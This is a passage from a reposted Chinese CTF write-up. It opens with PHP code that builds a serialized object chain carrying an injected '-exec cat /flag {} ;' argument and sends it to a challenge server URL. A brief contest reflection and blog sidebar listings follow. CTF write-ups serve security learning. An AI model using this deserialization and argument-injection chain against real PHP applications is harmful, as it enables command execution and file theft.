    protected $hint;
}

class ShowOff {
    public $contents;
    public $page;
}

class MiddleMan {
    public $content;
    private $cont;
}


$showoff = new ShowOff();
$myclass = new MyClass();
$myclass->flag = '-exec cat /flag {} ;';
$showoff->page = new MiddleMan();
$showoff->page->content = [$myclass, 'get_flag'];

$paylod = urlencode(serialize($showoff));
$url = 'http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=';
echo file_get_contents($url . $paylod);



總結:

這次比賽考的點還是比較新穎的,比如Web和Re結合的Web簽到題,,
還有就是不太常見的Go語言這回被拿來出題了,看來還是啥都要會一點
好多題都卡在最后一步可能還是思路還不夠廣的原因吧,之后還是要多刷點題

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/1324.html

標籤:其他

上一篇:開源IDS suricata 原始碼分析(開篇)

下一篇:面試:為了進阿里,重新翻閱了Volatile與Synchronized

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more